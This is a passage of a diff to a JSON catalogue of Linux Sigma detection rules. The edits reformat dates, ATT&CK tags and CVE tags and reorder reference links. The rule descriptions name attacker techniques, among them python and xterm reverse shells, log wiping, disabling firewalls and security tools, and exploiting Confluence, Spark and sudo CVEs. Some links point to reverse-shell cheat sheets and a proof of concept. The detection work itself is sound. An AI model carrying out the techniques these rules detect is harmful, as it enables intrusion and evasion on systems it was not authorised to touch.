"https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1547.006/T1547.006.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_load_module_insmod.yml" ], "tags": [ "attack.persistence", - "attack.privilege_escalation", + "attack.privilege-escalation", "attack.t1547.006" ] }, @@ -99165,7 +99461,7 @@ "description": "Detection use of the command \"split\" to split files into parts and possible transfer.", "meta": { "author": "Igor Fits, oscd.community", - "creation_date": "2020/10/15", + "creation_date": "2020-10-15", "falsepositive": [ "Legitimate administrative activity" ], @@ -99198,7 +99494,7 @@ "description": "Detects calls to hidden files or files located in hidden directories in NIX systems.", "meta": { "author": "David Burkett, @signalblur", - "creation_date": "2022/12/30", + "creation_date": "2022-12-30", "falsepositive": [ "Unknown" ], @@ -99211,7 +99507,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_hidden_binary_execution.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1574.001" ] }, @@ -99231,7 +99527,7 @@ "description": "Detects attempts to clear logs on the system. Adversaries may clear system logs to hide evidence of an intrusion", "meta": { "author": "Ömer Günal, oscd.community", - "creation_date": "2020/10/07", + "creation_date": "2020-10-07", "falsepositive": [ "Legitimate administration activities" ], @@ -99244,7 +99540,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_clear_logs.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1070.002" ] }, @@ -99264,7 +99560,7 @@ "description": "Detects command line patterns associated with the use of Pnscan for sending and receiving binary data across the network.\nThis behavior has been identified in a Linux malware campaign targeting Docker, Apache Hadoop, Redis, and Confluence and was previously used by the threat actor known as TeamTNT\n", "meta": { "author": "David Burkett (@signalblur)", - "creation_date": "2024/04/16", + "creation_date": "2024-04-16", "falsepositive": [ "Unknown" ], @@ -99273,10 +99569,10 @@ "logsource.category": "process_creation", "logsource.product": "linux", "refs": [ - "https://www.cadosecurity.com/blog/spinning-yarn-a-new-linux-malware-campaign-targets-docker-apache-hadoop-redis-and-confluence", - "https://intezer.com/wp-content/uploads/2021/09/TeamTNT-Cryptomining-Explosion.pdf", - "https://regex101.com/r/RugQYK/1", "https://www.virustotal.com/gui/file/beddf70a7bab805f0c0b69ac0989db6755949f9f68525c08cb874988353f78a9/content", + "https://regex101.com/r/RugQYK/1", + "https://intezer.com/wp-content/uploads/2021/09/TeamTNT-Cryptomining-Explosion.pdf", + "https://www.cadosecurity.com/blog/spinning-yarn-a-new-linux-malware-campaign-targets-docker-apache-hadoop-redis-and-confluence", "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_pnscan_binary_cli_pattern.yml" ], "tags": [ @@ -99300,7 +99596,7 @@ "description": "Detects usage of the 'chattr' utility to remove immutable file attribute.", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/09/15", + "creation_date": "2022-09-15", "falsepositive": [ "Administrator interacting with immutable files (e.g. for instance backups)." ], @@ -99313,7 +99609,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_chattr_immutable_removal.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1222.002" ] }, @@ -99333,7 +99629,7 @@ "description": "Detects the creation of a new named pipe using the \"mkfifo\" utility in a potentially suspicious location", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2023/06/16", + "creation_date": "2023-06-16", "falsepositive": [ "Unknown" ], @@ -99342,8 +99638,8 @@ "logsource.category": "process_creation", "logsource.product": "linux", "refs": [ - "https://www.mandiant.com/resources/blog/barracuda-esg-exploited-globally", "https://dev.to/0xbf/use-mkfifo-to-create-named-pipe-linux-tips-5bbk", + "https://www.mandiant.com/resources/blog/barracuda-esg-exploited-globally", "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_mkfifo_named_pipe_creation_susp_location.yml" ], "tags": [ @@ -99357,7 +99653,7 @@ "description": "Detects usage of \"apt\" and \"apt-get\" as a GTFOBin to execute and proxy command and binary execution", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/12/28", + "creation_date": "2022-12-28", "falsepositive": [ "Unknown" ], @@ -99391,7 +99687,7 @@ "description": "Detects executing python with keywords related to network activity that could indicate a potential reverse shell", "meta": { "author": "@d4ns4n_, Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2023/04/24", + "creation_date": "2023-04-24", "falsepositive": [ "Unknown" ], @@ -99400,8 +99696,8 @@ "logsource.category": "process_creation", "logsource.product": "linux", "refs": [ - "https://www.revshells.com/", "https://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet", + "https://www.revshells.com/", "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_python_reverse_shell.yml" ], "tags": [ @@ -99415,7 +99711,7 @@ "description": "Detects the creation of a new named pipe using the \"mkfifo\" utility", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2023/06/16", + "creation_date": "2023-06-16", "falsepositive": [ "Unknown" ], @@ -99424,8 +99720,8 @@ "logsource.category": "process_creation", "logsource.product": "linux", "refs": [ - "https://www.mandiant.com/resources/blog/barracuda-esg-exploited-globally", "https://dev.to/0xbf/use-mkfifo-to-create-named-pipe-linux-tips-5bbk", + "https://www.mandiant.com/resources/blog/barracuda-esg-exploited-globally", "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_mkfifo_named_pipe_creation.yml" ], "tags": [ @@ -99439,7 +99735,7 @@ "description": "Detects enumeration of local systeam accounts. This information can help adversaries determine which local accounts exist on a system to aid in follow-on behavior.", "meta": { "author": "Alejandro Ortuno, oscd.community", - "creation_date": "2020/10/08", + "creation_date": "2020-10-08", "falsepositive": [ "Legitimate administration activities" ], @@ -99472,7 +99768,7 @@ "description": "Detects the use of at/atd which are utilities that are used to schedule tasks.\nThey are often abused by adversaries to maintain persistence or to perform task scheduling for initial or recurring execution of malicious code\n", "meta": { "author": "Ömer Günal, oscd.community", - "creation_date": "2020/10/06", + "creation_date": "2020-10-06", "falsepositive": [ "Legitimate administration activities" ], @@ -99505,7 +99801,7 @@ "description": "Detects execution of the \"esxcli\" command with the \"system\" flag in order to retrieve information about the different component of the system. Such as accounts, modules, NTP, etc.", "meta": { "author": "Cedric Maurugeon", - "creation_date": "2023/09/04", + "creation_date": "2023-09-04", "falsepositive": [ "Legitimate administration activities" ], @@ -99547,7 +99843,7 @@ "description": "Detects usage of system utilities to discover files and directories", "meta": { "author": "Daniil Yugoslavskiy, oscd.community", - "creation_date": "2020/10/19", + "creation_date": "2020-10-19", "falsepositive": [ "Legitimate activities" ], @@ -99580,7 +99876,7 @@ "description": "Detects usage of system utilities to discover system network connections", "meta": { "author": "Daniil Yugoslavskiy, oscd.community", - "creation_date": "2020/10/19", + "creation_date": "2020-10-19", "falsepositive": [ "Legitimate activities" ], @@ -99613,7 +99909,7 @@ "description": "Detects disabling security tools", "meta": { "author": "Ömer Günal, Alejandro Ortuno, oscd.community", - "creation_date": "2020/06/17", + "creation_date": "2020-06-17", "falsepositive": [ "Legitimate administration activities" ], @@ -99626,7 +99922,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_security_tools_disabling.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1562.004" ] }, @@ -99646,7 +99942,7 @@ "description": "Detects the command line executed when TeamViewer starts a session started by a remote host.\nOnce a connection has been started, an investigator can verify the connection details by viewing the \"incoming_connections.txt\" log file in the TeamViewer folder.\n", "meta": { "author": "Josh Nickels, Qi Nan", - "creation_date": "2024/03/11", + "creation_date": "2024-03-11", "falsepositive": [ "Legitimate usage of TeamViewer" ], @@ -99659,7 +99955,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_remote_access_tools_teamviewer_incoming_connection.yml" ], "tags": [ - "attack.initial_access", + "attack.initial-access", "attack.t1133" ] }, @@ -99679,7 +99975,7 @@ "description": "Detects suspicious interactive bash as a parent to rather uncommon child processes", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2022/03/14", + "creation_date": "2022-03-14", "falsepositive": [ "Legitimate software that uses these patterns" ], @@ -99693,7 +99989,7 @@ ], "tags": [ "attack.execution", - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1059.004", "attack.t1036" ] @@ -99721,7 +100017,7 @@ "description": "Detects suspicious change of file privileges with chown and chmod commands", "meta": { "author": "Ömer Günal", - "creation_date": "2020/06/16", + "creation_date": "2020-06-16", "falsepositive": [ "Legitimate administration activities" ], @@ -99730,8 +100026,8 @@ "logsource.category": "process_creation", "logsource.product": "linux", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1548.001/T1548.001.md", "https://attack.mitre.org/techniques/T1548/001/", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1548.001/T1548.001.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_setgid_setuid.yml" ], "tags": [ @@ -99755,7 +100051,7 @@ "description": "Detects usage of crontab to list the tasks of the user", "meta": { "author": "Joseliyo Sanchez, @Joseliyo_Jstnk", - "creation_date": "2023/06/02", + "creation_date": "2023-06-02", "falsepositive": [ "Legitimate use of crontab" ], @@ -99764,10 +100060,10 @@ "logsource.category": "process_creation", "logsource.product": "linux", "refs": [ - "https://www.virustotal.com/gui/file/60bcd645450e4c846238cf0e7226dc40c84c96eba99f6b2cffcd0ab4a391c8b3/detection", - "https://blogs.jpcert.or.jp/en/2023/05/gobrat.html", "https://jstnk9.github.io/jstnk9/research/GobRAT-Malware/", "https://www.virustotal.com/gui/file/3e44c807a25a56f4068b5b8186eee5002eed6f26d665a8b791c472ad154585d1/detection", + "https://blogs.jpcert.or.jp/en/2023/05/gobrat.html", + "https://www.virustotal.com/gui/file/60bcd645450e4c846238cf0e7226dc40c84c96eba99f6b2cffcd0ab4a391c8b3/detection", "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_crontab_enumeration.yml" ], "tags": [ @@ -99791,7 +100087,7 @@ "description": "Detects system information discovery commands", "meta": { "author": "Ömer Günal, oscd.community", - "creation_date": "2020/10/08", + "creation_date": "2020-10-08", "falsepositive": [ "Legitimate administration activities" ], @@ -99824,7 +100120,7 @@ "description": "Rule to detect the use of the SCX RunAsProvider Invoke_ExecuteShellCommand to execute any UNIX/Linux command using the /bin/sh shell.\nSCXcore, started as the Microsoft Operations Manager UNIX/Linux Agent, is now used in a host of products including\nMicrosoft Operations Manager, Microsoft Azure, and Microsoft Operations Management Suite.\n", "meta": { "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research), MSTIC", - "creation_date": "2021/10/15", + "creation_date": "2021-10-15", "falsepositive": [ "Legitimate use of SCX RunAsProvider Invoke_ExecuteShellCommand." ], @@ -99838,8 +100134,8 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_omigod_scx_runasprovider_executeshellcommand.yml" ], "tags": [ - "attack.privilege_escalation", - "attack.initial_access", + "attack.privilege-escalation", + "attack.initial-access", "attack.execution", "attack.t1068", "attack.t1190", @@ -99876,7 +100172,7 @@ "description": "Detects execution of network scanning and reconnaisance tools. These tools can be used for the enumeration of local or remote network services for example.", "meta": { "author": "Alejandro Ortuno, oscd.community, Georg Lauenstein (sure[secure])", - "creation_date": "2020/10/21", + "creation_date": "2020-10-21", "falsepositive": [ "Legitimate administration activities" ], @@ -99885,9 +100181,9 @@ "logsource.category": "process_creation", "logsource.product": "linux", "refs": [ - "https://github.com/Tib3rius/AutoRecon", "https://github.com/projectdiscovery/naabu", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1046/T1046.md", + "https://github.com/Tib3rius/AutoRecon", "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_susp_network_utilities_execution.yml" ], "tags": [ @@ -99911,7 +100207,7 @@ "description": "Detects the presence of a base64 version of the shebang in the commandline, which could indicate a malicious payload about to be decoded", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/09/15", + "creation_date": "2022-09-15", "falsepositive": [ "Legitimate administration activities" ], @@ -99925,7 +100221,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_base64_shebang_cli.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1140" ] }, @@ -99945,7 +100241,7 @@ "description": "Detects events in which someone prints the contents of history files to the commandline or redirects it to a file for reconnaissance", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2022/06/20", + "creation_date": "2022-06-20", "falsepositive": [ "Legitimate administration activities" ], @@ -99979,7 +100275,7 @@ "description": "Detects changes of sensitive and critical files. Monitors files that you don't expect to change without planning on Linux system.", "meta": { "author": "@d4ns4n_ (Wuerth-Phoenix)", - "creation_date": "2023/05/30", + "creation_date": "2023-05-30", "falsepositive": [ "Some false positives are to be expected on user or administrator machines. Apply additional filters as needed." ], @@ -100012,7 +100308,7 @@ "description": "Detects execution of the bash shell with the interactive flag \"-i\".", "meta": { "author": "@d4ns4n_", - "creation_date": "2023/04/07", + "creation_date": "2023-04-07", "falsepositive": [ "Unknown" ], @@ -100021,9 +100317,9 @@ "logsource.category": "process_creation", "logsource.product": "linux", "refs": [ - "https://www.revshells.com/", - "https://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet", "https://linux.die.net/man/1/bash", + "https://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet", + "https://www.revshells.com/", "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_bash_interactive_shell.yml" ], "tags": [ @@ -100037,7 +100333,7 @@ "description": "Detects usage of base64 utility to decode arbitrary base64-encoded text", "meta": { "author": "Daniil Yugoslavskiy, oscd.community", - "creation_date": "2020/10/19", + "creation_date": "2020-10-19", "falsepositive": [ "Legitimate activities" ], @@ -100050,7 +100346,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_base64_decode.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1027" ] }, @@ -100070,7 +100366,7 @@ "description": "Detects enumeration of local network configuration", "meta": { "author": "Ömer Günal and remotephone, oscd.community", - "creation_date": "2020/10/06", + "creation_date": "2020-10-06", "falsepositive": [ "Legitimate administration activities" ], @@ -100103,7 +100399,7 @@ "description": "Detects the use of grep to identify information about the operating system architecture. Often combined beforehand with the execution of \"uname\" or \"cat /proc/cpuinfo\"\n", "meta": { "author": "Joseliyo Sanchez, @Joseliyo_Jstnk", - "creation_date": "2023/06/02", + "creation_date": "2023-06-02", "falsepositive": [ "Unknown" ], @@ -100112,10 +100408,10 @@ "logsource.category": "process_creation", "logsource.product": "linux", "refs": [ - "https://www.virustotal.com/gui/file/60bcd645450e4c846238cf0e7226dc40c84c96eba99f6b2cffcd0ab4a391c8b3/detection", - "https://blogs.jpcert.or.jp/en/2023/05/gobrat.html", "https://jstnk9.github.io/jstnk9/research/GobRAT-Malware/", "https://www.virustotal.com/gui/file/3e44c807a25a56f4068b5b8186eee5002eed6f26d665a8b791c472ad154585d1/detection", + "https://blogs.jpcert.or.jp/en/2023/05/gobrat.html", + "https://www.virustotal.com/gui/file/60bcd645450e4c846238cf0e7226dc40c84c96eba99f6b2cffcd0ab4a391c8b3/detection", "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_grep_os_arch_discovery.yml" ], "tags": [ @@ -100139,7 +100435,7 @@ "description": "Detects usage of the \"usermod\" binary to add users add users to the root or suoders groups", "meta": { "author": "TuanLe (GTSC)", - "creation_date": "2022/12/21", + "creation_date": "2022-12-21", "falsepositive": [ "Legitimate administrator activities" ], @@ -100153,7 +100449,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_usermod_susp_group.yml" ], "tags": [ - "attack.privilege_escalation", + "attack.privilege-escalation", "attack.persistence" ] }, @@ -100164,7 +100460,7 @@ "description": "Detects the usage of the unsafe bpftrace option", "meta": { "author": "Andreas Hunkeler (@Karneades)", - "creation_date": "2022/02/11", + "creation_date": "2022-02-11", "falsepositive": [ "Legitimate usage of the unsafe option" ], @@ -100173,8 +100469,8 @@ "logsource.category": "process_creation", "logsource.product": "linux", "refs": [ - "https://embracethered.com/blog/posts/2021/offensive-bpf-bpftrace/", "https://bpftrace.org/", + "https://embracethered.com/blog/posts/2021/offensive-bpf-bpftrace/", "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_bpftrace_unsafe_option_usage.yml" ], "tags": [ @@ -100198,7 +100494,7 @@ "description": "Detects usage of \"xterm\" as a potential reverse shell tunnel", "meta": { "author": "@d4ns4n_", - "creation_date": "2023/04/24", + "creation_date": "2023-04-24", "falsepositive": [ "Unknown" ], @@ -100207,8 +100503,8 @@ "logsource.category": "process_creation", "logsource.product": "linux", "refs": [ - "https://www.revshells.com/", "https://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet", + "https://www.revshells.com/", "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_xterm_reverse_shell.yml" ], "tags": [ @@ -100232,7 +100528,7 @@ "description": "Detects abuse of the cron utility to perform task scheduling for initial or recurring execution of malicious code. Detection will focus on crontab jobs uploaded from the tmp folder.", "meta": { "author": "Alejandro Ortuno, oscd.community", - "creation_date": "2020/10/06", + "creation_date": "2020-10-06", "falsepositive": [ "Legitimate administration activities" ], @@ -100247,7 +100543,7 @@ "tags": [ "attack.execution", "attack.persistence", - "attack.privilege_escalation", + "attack.privilege-escalation", "attack.t1053.003" ] }, @@ -100267,7 +100563,7 @@ "description": "Detects usage of the \"touch\" process in service file.", "meta": { "author": "Joseliyo Sanchez, @Joseliyo_Jstnk", - "creation_date": "2023/01/11", + "creation_date": "2023-01-11", "falsepositive": [ "Admin changing date of files." ], @@ -100281,7 +100577,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_touch_susp.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1070.006" ] }, @@ -100301,7 +100597,7 @@ "description": "Detects usage of the 'crontab' utility to remove the current crontab.\nThis is a common occurrence where cryptocurrency miners compete against each other by removing traces of other miners to hijack the maximum amount of resources possible\n", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/09/15", + "creation_date": "2022-09-15", "falsepositive": [ "Unknown" ], @@ -100314,7 +100610,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_crontab_removal.yml" ], "tags": [ - "attack.defense_evasion" + "attack.defense-evasion" ] }, "uuid": "c2e234de-03a3-41e1-b39a-1e56dc17ba67", @@ -100324,7 +100620,7 @@ "description": "Detects spawning of suspicious child processes by Atlassian Confluence server which may indicate successful exploitation of CVE-2022-26134", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/06/03", + "creation_date": "2022-06-03", "falsepositive": [ "Unknown" ], @@ -100337,11 +100633,11 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_cve_2022_26134_atlassian_confluence.yml" ], "tags": [ - "attack.initial_access", + "attack.initial-access", "attack.execution", "attack.t1190", "attack.t1059", - "cve.2022.26134" + "cve.2022-26134" ] }, "related": [ @@ -100367,7 +100663,7 @@ "description": "Detects execution of the \"esxcli\" command with the \"vm\" flag in order to retrieve information about the installed VMs.", "meta": { "author": "Cedric Maurugeon", - "creation_date": "2023/09/04", + "creation_date": "2023-09-04", "falsepositive": [ "Legitimate administration activities" ], @@ -100377,8 +100673,8 @@ "logsource.product": "linux", "refs": [ "https://www.crowdstrike.com/blog/hypervisor-jackpotting-ecrime-actors-increase-targeting-of-esxi-servers/", - "https://www.trendmicro.com/en_us/research/22/e/new-linux-based-ransomware-cheerscrypt-targets-exsi-devices.html", "https://developer.vmware.com/docs/11743/esxi-7-0-esxcli-command-reference/namespace/esxcli_vm.html", + "https://www.trendmicro.com/en_us/research/22/e/new-linux-based-ransomware-cheerscrypt-targets-exsi-devices.html", "https://www.secuinfra.com/en/techtalk/hide-your-hypervisor-analysis-of-esxiargs-ransomware/", "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_esxcli_vm_discovery.yml" ], @@ -100411,7 +100707,7 @@ "description": "Detects a curl process start on linux, which indicates a file download from a remote location or a simple web request to a remote server", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/09/15", + "creation_date": "2022-09-15", "falsepositive": [ "Scripts created by developers and admins", "Administrative activity" @@ -100425,7 +100721,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_curl_usage.yml" ], "tags": [ - "attack.command_and_control", + "attack.command-and-control", "attack.t1105" ] }, @@ -100445,7 +100741,7 @@ "description": "Detects changes to the ESXi syslog configuration via \"esxcli\"", "meta": { "author": "Cedric Maurugeon", - "creation_date": "2023/09/04", + "creation_date": "2023-09-04", "falsepositive": [ "Legitimate administrative activities" ], @@ -100459,7 +100755,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_esxcli_syslog_config_change.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1562.001", "attack.t1562.003" ] @@ -100487,7 +100783,7 @@ "description": "Detects execution of shells from a parent process located in a temporary (/tmp) directory", "meta": { "author": "Joseliyo Sanchez, @Joseliyo_Jstnk", - "creation_date": "2023/06/02", + "creation_date": "2023-06-02", "falsepositive": [ "Unknown" ], @@ -100496,10 +100792,10 @@ "logsource.category": "process_creation", "logsource.product": "linux", "refs": [ - "https://www.virustotal.com/gui/file/60bcd645450e4c846238cf0e7226dc40c84c96eba99f6b2cffcd0ab4a391c8b3/detection", - "https://blogs.jpcert.or.jp/en/2023/05/gobrat.html", "https://jstnk9.github.io/jstnk9/research/GobRAT-Malware/", "https://www.virustotal.com/gui/file/3e44c807a25a56f4068b5b8186eee5002eed6f26d665a8b791c472ad154585d1/detection", + "https://blogs.jpcert.or.jp/en/2023/05/gobrat.html", + "https://www.virustotal.com/gui/file/60bcd645450e4c846238cf0e7226dc40c84c96eba99f6b2cffcd0ab4a391c8b3/detection", "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_susp_shell_child_process_from_parent_tmp_folder.yml" ], "tags": [ @@ -100513,7 +100809,7 @@ "description": "Detects usage of \"getcap\" binary. This is often used during recon activity to determine potential binaries that can be abused as GTFOBins or other.", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/12/28", + "creation_date": "2022-12-28", "falsepositive": [ "Unknown" ], @@ -100522,9 +100818,9 @@ "logsource.category": "process_creation", "logsource.product": "linux", "refs": [ - "https://github.com/SaiSathvik1/Linux-Privilege-Escalation-Notes", - "https://github.com/carlospolop/PEASS-ng", "https://github.com/diego-treitos/linux-smart-enumeration", + "https://github.com/carlospolop/PEASS-ng", + "https://github.com/SaiSathvik1/Linux-Privilege-Escalation-Notes", "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_capa_discovery.yml" ], "tags": [ @@ -100548,7 +100844,7 @@ "description": "Detects execution of a the file \"execve_hijack\" which is used by the Triple Cross rootkit as a way to elevate privileges", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/07/05", + "creation_date": "2022-07-05", "falsepositive": [ "Unlikely" ], @@ -100561,8 +100857,8 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_triple_cross_rootkit_execve_hijack.yml" ], "tags": [ - "attack.defense_evasion", - "attack.privilege_escalation" + "attack.defense-evasion", + "attack.privilege-escalation" ] }, "uuid": "0326c3c8-7803-4a0f-8c5c-368f747f7c3e", @@ -100572,7 +100868,7 @@ "description": "Detects the use of wget to download content to a suspicious directory", "meta": { "author": "Joseliyo Sanchez, @Joseliyo_Jstnk", - "creation_date": "2023/06/02", + "creation_date": "2023-06-02", "falsepositive": [ "Unknown" ], @@ -100581,14 +100877,14 @@ "logsource.category": "process_creation", "logsource.product": "linux", "refs": [ - "https://www.virustotal.com/gui/file/60bcd645450e4c846238cf0e7226dc40c84c96eba99f6b2cffcd0ab4a391c8b3/detection", - "https://blogs.jpcert.or.jp/en/2023/05/gobrat.html", "https://jstnk9.github.io/jstnk9/research/GobRAT-Malware/", "https://www.virustotal.com/gui/file/3e44c807a25a56f4068b5b8186eee5002eed6f26d665a8b791c472ad154585d1/detection", + "https://blogs.jpcert.or.jp/en/2023/05/gobrat.html", + "https://www.virustotal.com/gui/file/60bcd645450e4c846238cf0e7226dc40c84c96eba99f6b2cffcd0ab4a391c8b3/detection", "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_wget_download_suspicious_directory.yml" ], "tags": [ - "attack.command_and_control", + "attack.command-and-control", "attack.t1105" ] }, @@ -100608,7 +100904,7 @@ "description": "Detects execution of the \"esxcli\" command with the \"vm\" and \"kill\" flag in order to kill/shutdown a specific VM.", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems), Cedric Maurugeon", - "creation_date": "2023/09/04", + "creation_date": "2023-09-04", "falsepositive": [ "Legitimate administration activities" ], @@ -100618,8 +100914,8 @@ "logsource.product": "linux", "refs": [ "https://www.crowdstrike.com/blog/hypervisor-jackpotting-ecrime-actors-increase-targeting-of-esxi-servers/", - "https://www.trendmicro.com/en_us/research/22/e/new-linux-based-ransomware-cheerscrypt-targets-exsi-devices.html", "https://developer.vmware.com/docs/11743/esxi-7-0-esxcli-command-reference/namespace/esxcli_vm.html", + "https://www.trendmicro.com/en_us/research/22/e/new-linux-based-ransomware-cheerscrypt-targets-exsi-devices.html", "https://www.secuinfra.com/en/techtalk/hide-your-hypervisor-analysis-of-esxiargs-ransomware/", "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_esxcli_vm_kill.yml" ], @@ -100634,7 +100930,7 @@ "description": "Detects attempts to exploit an apache spark server via CVE-2014-6287 from a commandline perspective", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/07/20", + "creation_date": "2022-07-20", "falsepositive": [ "Unlikely" ], @@ -100643,15 +100939,15 @@ "logsource.category": "process_creation", "logsource.product": "linux", "refs": [ - "https://github.com/W01fh4cker/cve-2022-33891/blob/fd973b56e78bca8822caa3a2e3cf1b5aff5d0950/cve_2022_33891_poc.py", "https://sumsec.me/2022/CVE-2022-33891%20Apache%20Spark%20shell%20command%20injection.html", "https://github.com/apache/spark/pull/36315/files", + "https://github.com/W01fh4cker/cve-2022-33891/blob/fd973b56e78bca8822caa3a2e3cf1b5aff5d0950/cve_2022_33891_poc.py", "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_cve_2022_33891_spark_shell_command_injection.yml" ], "tags": [ - "attack.initial_access", + "attack.initial-access", "attack.t1190", - "cve.2022.33891" + "cve.2022-33891" ] }, "related": [ @@ -100670,7 +100966,7 @@ "description": "Detects users trying to exploit sudo vulnerability reported in CVE-2019-14287", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2019/10/15", + "creation_date": "2019-10-15", "falsepositive": [ "Unlikely" ], @@ -100685,10 +100981,10 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_sudo_cve_2019_14287.yml" ], "tags": [ - "attack.privilege_escalation", + "attack.privilege-escalation", "attack.t1068", "attack.t1548.003", - "cve.2019.14287" + "cve.2019-14287" ] }, "related": [ @@ -100714,7 +101010,7 @@ "description": "Detect use of iptables to flush all firewall rules, tables and chains and allow all network traffic", "meta": { "author": "Joseliyo Sanchez, @Joseliyo_Jstnk", - "creation_date": "2023/01/18", + "creation_date": "2023-01-18", "falsepositive": [ "Network administrators" ], @@ -100723,13 +101019,13 @@ "logsource.category": "process_creation", "logsource.product": "linux", "refs": [ - "https://www.cyberciti.biz/tips/linux-iptables-how-to-flush-all-rules.html", "https://blogs.blackberry.com/", "https://twitter.com/Joseliyo_Jstnk/status/1620131033474822144", + "https://www.cyberciti.biz/tips/linux-iptables-how-to-flush-all-rules.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_iptables_flush_ufw.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1562.004" ] }, @@ -100749,7 +101045,7 @@ "description": "Detects specific commands commonly used to remove or empty the syslog. Which is often used by attacker as a method to hide their tracks", "meta": { "author": "Max Altgelt (Nextron Systems), Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research), MSTIC", - "creation_date": "2021/10/15", + "creation_date": "2021-10-15", "falsepositive": [ "Log rotation." ], @@ -100762,7 +101058,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_clear_syslog.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1070.002" ] }, @@ 